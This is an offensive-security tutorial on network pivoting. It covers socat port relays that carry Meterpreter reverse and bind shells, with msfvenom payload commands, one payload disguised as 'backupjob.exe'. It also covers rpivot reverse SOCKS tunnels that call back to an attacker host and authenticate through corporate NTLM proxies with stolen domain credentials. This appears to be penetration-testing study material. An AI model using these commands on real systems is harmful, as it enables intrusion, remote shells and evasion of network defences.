Two niche tools for when SSH and Chisel don’t fit the shape of the network.

  • Socat — a bidirectional packet relay. Not a tunnel itself; it redirects a port on one host to a port on another. Perfect for turning a non-routable internal target into something you can reach from outside, or hiding a payload’s real destination behind an innocuous relay.
  • Rpivot — a reverse SOCKS proxy that can authenticate out through corporate NTLM proxies. The right tool when the only egress is through a web proxy requiring domain creds.

Socat — Port Redirection

Socat listens on a port and forwards every incoming connection to another address and port. That’s it. No encryption, no tunneling — just a TCP relay.

Why You’d Use It

  • Target machine can only reach the pivot, not your attack host directly
  • You want to layer a listener behind a relay (payload calls pivot; pivot calls you)
  • Quick firewall-bypass trick on networks where the pivot has unusual egress rules

Basic Relay

# On the pivot (Linux)
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.5:443
# Anything hitting pivot:8080 is forwarded to attacker 10.10.14.5:443
  • TCP4-LISTEN:8080 — listen on port 8080
  • fork — spawn a new child for each connection (otherwise socat exits after the first)
  • TCP4:10.10.14.5:443 — where to forward

Pattern 1 — Reverse Shell Relay

Isolated Windows target can reach pivot but not you. Payload callback goes to pivot; pivot relays to your handler.

# 1. Attacker — start handler
msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/reverse_https
> set LHOST 10.10.14.5
> set LPORT 443
> run
 
# 2. Pivot — relay
socat TCP4-LISTEN:8080,fork TCP4:10.10.14.5:443
 
# 3. Payload — points at pivot
msfvenom -p windows/x64/meterpreter/reverse_https \
         LHOST=<pivot-ip> LPORT=8080 -f exe -o payload.exe

When the payload runs, it calls pivot:8080 → relayed to attacker:443. From the Windows host’s perspective, it only ever talked to the pivot.

Pattern 2 — Bind Shell Relay

Windows pops a bind payload (listens, waits). You can’t reach it directly, but the pivot can. Socat relays your outbound connect through pivot to Windows.

# 1. Windows — bind payload
msfvenom -p windows/x64/meterpreter/bind_tcp \
         LPORT=8443 -f exe -o backupjob.exe
# Executed on Windows; opens 8443 and waits
 
# 2. Pivot — relay attacker:8080 → windows:8443
socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
 
# 3. Attacker — handler connects to pivot, not directly to Windows
msfconsole
> use exploit/multi/handler
> set payload windows/x64/meterpreter/bind_tcp
> set RHOST <pivot-ip>
> set LPORT 8080
> run

Key nuance: for bind shells, RHOST is the relay, not the actual target. Windows never knows your IP exists.

Important

  • Same payload on both ends of the relay — msfvenom and the handler must match
  • No encryption on the relay hop; use OPENSSL-* endpoints if you need TLS
  • Without fork, you get exactly one connection before socat exits

Rpivot — Reverse SOCKS for Corporate NTLM Proxies

rpivot is a reverse SOCKS proxy in Python 2. You run the server on your box, the client on the compromised host — the client dials home, and you get a SOCKS endpoint routing into the internal network.

The reason this exists when Chisel does the same thing: rpivot speaks HTTP CONNECT and NTLM authentication to corporate proxies. If the pivot’s only egress is through a Windows HTTP proxy requiring domain credentials, rpivot is the clean tool.

Setup

git clone https://github.com/klsecservices/rpivot.git
# Requires Python 2 — remember to prefix every command

Basic Usage

# On attacker
python2 server.py --proxy-port 9050 --server-port 1234 --server-ip 0.0.0.0
 
# --proxy-port — local SOCKS listener (point proxychains here)
# --server-port — where the client will connect back
# --server-ip   — bind address for client callback
 
# On compromised host (after transferring the repo)
python2 client.py --server-ip <attacker-ip> --server-port 1234

proxychains Config

# /etc/proxychains.conf
[ProxyList]
socks4  127.0.0.1 9050

Important: rpivot speaks SOCKS4, not SOCKS5. Comment out other proxy lines.

proxychains firefox http://<internal-host>:<port>
proxychains nmap -sT -Pn <internal-net>/24

The Real Use Case — Punching Out via Corporate NTLM Proxy

This is why rpivot exists over Chisel. If the target network only allows internet through an authenticated HTTP proxy, rpivot authenticates with stolen domain creds and tunnels SOCKS through legitimate proxy traffic.

# On compromised internal host
python2 client.py \
  --server-ip <attacker-public-ip> \
  --server-port 8080 \
  --ntlm-proxy-ip <corporate-proxy-ip> \
  --ntlm-proxy-port 8081 \
  --domain CORP \
  --username <user> \
  --password '<password>'

Flow:

[compromised host]
       │  (HTTP CONNECT + NTLM auth)
       ▼
[corporate NTLM proxy]
       │  (looks like legit employee web traffic)
       ▼
[firewall]  →  internet  →  [your rpivot server]

The corporate proxy sees an authenticated employee browsing the web. The firewall only sees the proxy’s outbound. Your attack server catches the tunnel and exposes SOCKS locally.

Downsides

  • Python 2 only — won’t install cleanly on modern Linux
  • Noisy on wire compared to Chisel (unencrypted SOCKS over the inner channel)
  • Project is abandoned — any issues, you’re fixing them yourself

Modern alternative: Chisel with --proxy supports forward HTTP proxies but not NTLM auth. For NTLM, rpivot is still the clean answer; otherwise prefer Chisel.